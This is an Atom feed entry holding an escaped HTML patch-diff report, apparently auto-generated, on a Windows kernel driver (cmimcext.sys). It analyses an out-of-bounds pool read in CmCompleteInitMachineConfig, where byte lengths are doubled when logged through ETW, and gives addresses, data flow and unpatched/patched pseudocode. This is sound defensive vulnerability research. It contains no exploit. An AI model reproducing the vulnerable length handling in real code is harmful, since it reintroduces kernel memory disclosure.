&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cmimcext.sys — Out-of-bounds pool read via miscalculated ETW descriptor size (CWE-125) in CmCompleteInitMachineConfig fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cmimcext_bc467f64-cmimcext-report-20260628-215521.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cmimcext_bc467f64-cmimcext-report-20260628-215521.html</id><summary type="html">&lt;p&gt;KB5082123&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmimcext_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmimcext_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9795&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A single security-relevant change in &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; corrects a units confusion (&lt;code&gt;UNICODE_STRING.Length&lt;/code&gt; is in bytes but the ETW logger treats its length arguments as character counts and doubles them), causing &lt;code&gt;EtwWriteTransfer&lt;/code&gt; to describe up to 2× the valid byte length of each name buffer when logging machine configuration entries. The corrective code (a conditional halving of the lengths) is present in the patched build but gated behind the servicing feature flag &lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt;; the original, unhalved path is retained for when the feature is not enabled. Real-world impact is limited: the two entry points are boot-time initialization exports, the input is the admin/setup-controlled &lt;code&gt;\REGISTRY\MACHINE\INITIALMACHINECONFIG&lt;/code&gt; hive, and the over-read bytes surface only in an ETW trace that requires administrator rights to consume. Severity is therefore &lt;strong&gt;Low&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Out-of-Bounds Pool Read via Doubled ETW Descriptor Size&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (CWE-125 out-of-bounds read / kernel information disclosure; boot-time init path, admin/setup-controlled input, admin-only ETW consumer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-125 (Out-of-bounds Read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Out-of-bounds read / kernel pool overread / information disclosure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;CmCompleteInitMachineConfig @ 0x1c0007030&lt;/code&gt; (unpatched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sink:&lt;/strong&gt; &lt;code&gt;McTemplateK0hzr0hzr2 @ 0x1c00012a0&lt;/code&gt; → &lt;code&gt;McGenEventWrite @ 0x1c000111c&lt;/code&gt; → &lt;code&gt;EtwWriteTransfer&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The linked list rooted at &lt;code&gt;CmpImcAllowEventQueueHead&lt;/code&gt; is populated by &lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; via &lt;code&gt;ImpApplyMachineConfiguration @ 0x1c0007428&lt;/code&gt; / &lt;code&gt;ImpAddAllowListEvent @ 0x1c00098a8&lt;/code&gt;. Each 0x38-byte node holds two &lt;code&gt;UNICODE_STRING&lt;/code&gt; structures: key-name at &lt;code&gt;+0x18&lt;/code&gt; (Length, MaximumLength at &lt;code&gt;+0x1a&lt;/code&gt;, buffer at &lt;code&gt;+0x20&lt;/code&gt;) and value-name at &lt;code&gt;+0x28&lt;/code&gt; (Length, MaximumLength at &lt;code&gt;+0x2a&lt;/code&gt;, buffer at &lt;code&gt;+0x30&lt;/code&gt;). Each buffer is allocated with &lt;code&gt;ExAllocatePoolWithTag(PagedPool, MaximumLength, 'IMCP')&lt;/code&gt; to &lt;code&gt;UNICODE_STRING.MaximumLength&lt;/code&gt; bytes (the &lt;code&gt;NumberOfBytes&lt;/code&gt; argument is read from &lt;code&gt;[r14+2]&lt;/code&gt; / &lt;code&gt;[rsi+2]&lt;/code&gt;, the &lt;code&gt;MaximumLength&lt;/code&gt; field), and &lt;code&gt;RtlCopyUnicodeString&lt;/code&gt; writes &lt;code&gt;Length&lt;/code&gt; valid bytes into it.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; logs each node through ETW, it passes &lt;code&gt;node+0x18&lt;/code&gt; and &lt;code&gt;node+0x28&lt;/code&gt; directly to &lt;code&gt;McTemplateK0hzr0hzr2 @ 0x1c00012a0&lt;/code&gt;. The logging function treats those arguments as &lt;strong&gt;character counts&lt;/strong&gt; and unconditionally doubles them (&lt;code&gt;add eax, eax&lt;/code&gt; at &lt;code&gt;0x1c00012e8&lt;/code&gt; and &lt;code&gt;0x1c0001309&lt;/code&gt;) to compute &lt;code&gt;EVENT_DATA_DESCRIPTOR.Size&lt;/code&gt;. Because the values are already in bytes, the resulting &lt;code&gt;Size&lt;/code&gt; is &lt;strong&gt;2× the valid byte length&lt;/strong&gt;. &lt;code&gt;EtwWriteTransfer&lt;/code&gt; then reads that many bytes from each PagedPool buffer. When &lt;code&gt;2*Length&lt;/code&gt; exceeds the buffer's &lt;code&gt;MaximumLength&lt;/code&gt; allocation (the common case, since registry-derived names typically have &lt;code&gt;MaximumLength ≈ Length&lt;/code&gt;), the read runs past the end of the allocation by up to &lt;code&gt;Length&lt;/code&gt; bytes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The patch&lt;/strong&gt; inserts a call to &lt;code&gt;EvaluateCurrentState @ 0x1c000166c&lt;/code&gt; at the top of the loop body. That helper is a feature-staging gate: it calls &lt;code&gt;EvaluateFeature&lt;/code&gt; on the servicing feature &lt;code&gt;Feature_Servicing_IMCMemoryCorruptionFix_61262757&lt;/code&gt; and returns non-zero when the fix is enabled. When it returns non-zero, the code halves the byte lengths (&lt;code&gt;shr cx,1&lt;/code&gt; / &lt;code&gt;shr r9w,1&lt;/code&gt;) &lt;em&gt;before&lt;/em&gt; calling &lt;code&gt;McTemplateK0hzr0hzr2&lt;/code&gt;. The internal doubling in the ETW template then re-produces the correct byte counts. The doubling behavior is unchanged in &lt;code&gt;McTemplateK0hzr0hzr2&lt;/code&gt; itself — only the caller's pre-scaling changes, and only when the feature is enabled. When the feature is not enabled, &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns 0 and the original unhalved (over-reading) path is taken. This is a staged servicing rollout, not an unconditional fix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point and data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;CmSetInitMachineConfig&lt;/code&gt; (exported, &lt;code&gt;0x1c0009010&lt;/code&gt;) enumerates registry keys under &lt;code&gt;\REGISTRY\MACHINE\INITIALMACHINECONFIG&lt;/code&gt; and populates the &lt;code&gt;data_1c00030b0&lt;/code&gt; list via &lt;code&gt;ImpApplyMachineConfiguration (sub_1c0007428)&lt;/code&gt; / &lt;code&gt;ImpAddAllowListEvent (sub_1c00098a8)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ImpAddAllowListEvent (sub_1c00098a8)&lt;/code&gt; allocates a 0x38-byte node (&lt;code&gt;PagedPool&lt;/code&gt;, tag &lt;code&gt;'IMCP'&lt;/code&gt;), copies the key/value &lt;code&gt;UNICODE_STRING&lt;/code&gt; structures into &lt;code&gt;+0x18&lt;/code&gt; / &lt;code&gt;+0x28&lt;/code&gt;, and copies each buffer into freshly allocated pool of &lt;code&gt;MaximumLength&lt;/code&gt; bytes (&lt;code&gt;RtlCopyUnicodeString&lt;/code&gt; fills &lt;code&gt;Length&lt;/code&gt; valid bytes).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CmCompleteInitMachineConfig&lt;/code&gt; (exported, &lt;code&gt;0x1c0007030&lt;/code&gt;) walks the list and, for each non-flagged node with the appropriate ETW mask bits set in &lt;code&gt;data_1c0003128&lt;/code&gt;, passes the raw byte-lengths at &lt;code&gt;+0x18&lt;/code&gt; / &lt;code&gt;+0x28&lt;/code&gt; and the buffer pointers at &lt;code&gt;+0x20&lt;/code&gt; / &lt;code&gt;+0x30&lt;/code&gt; into &lt;code&gt;McTemplateK0hzr0hzr2 (sub_1c00012a0)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;McTemplateK0hzr0hzr2 (sub_1c00012a0)&lt;/code&gt; (&lt;code&gt;0x1c00012a0&lt;/code&gt;) computes &lt;code&gt;cbSize = arg4 * 2&lt;/code&gt; and &lt;code&gt;cbSize = arg_30 * 2&lt;/code&gt;, populates two &lt;code&gt;EVENT_DATA_DESCRIPTOR&lt;/code&gt;s, and calls &lt;code&gt;McGenEventWrite (sub_1c000111c)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;McGenEventWrite (sub_1c000111c)&lt;/code&gt; invokes &lt;code&gt;EtwWriteTransfer&lt;/code&gt;, which reads &lt;code&gt;2*Length&lt;/code&gt; bytes from each PagedPool buffer — running up to &lt;code&gt;Length&lt;/code&gt; bytes past the &lt;code&gt;MaximumLength&lt;/code&gt; allocation whenever &lt;code&gt;2*Length &amp;gt; MaximumLength&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED — CmCompleteInitMachineConfig (loop body excerpt)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;list_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c0003128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;data_1c0002240&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_1c0003128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;data_1c0002210&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;log&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ❌ VULN: passes raw UNICODE_STRING.Length (BYTES) directly.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;//          McTemplateK0hzr0hzr2 (sub_1c00012a0) will treat these as char counts and&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;//          double them, producing cbSize = 2 * Length.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;McTemplateK0hzr0hzr2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c00012a0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* rcx */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;session_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* rdx */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* r8  */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reg_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* r9  */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// bytes, NOT halved&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* stk */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* stk */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// bytes, NOT halved&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — same loop body, with feature-gate check + halving&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;list_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c000166c&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// ✅ NEW: feature-staging gate (IMCMemoryCorruptionFix)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Safe path: pre-halve so the sink&amp;#39;s doubling reproduces the&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// correct byte count.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key_len_chars&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ✅ NEW&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value_len_chars&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ✅ NEW&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;McTemplateK0hzr0hzr2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c00012a0&lt;/span&gt;&lt;span class="p"&gt;)(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key_len_chars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value_len_chars&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Legacy path: byte-lengths passed raw (still vulnerable if reached).&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// SINK (McTemplateK0hzr0hzr2 (sub_1c00012a0)) — UNCHANGED IN BOTH BINARIES&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key_cb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ❌ doubles the input&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value_cb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;arg_30&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ❌ doubles the input&lt;/span&gt;

&lt;span class="n"&gt;EVENT_DATA_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;cbSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key_cb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// 2 * byte-length  → overread&lt;/span&gt;
&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;cbSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value_cb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 2 * byte-length  → overread&lt;/span&gt;

&lt;span class="n"&gt;McGenEventWrite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c000111c&lt;/span&gt;&lt;span class="p"&gt;)(...);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// -&amp;gt; EtwWriteTransfer reads cbSize bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

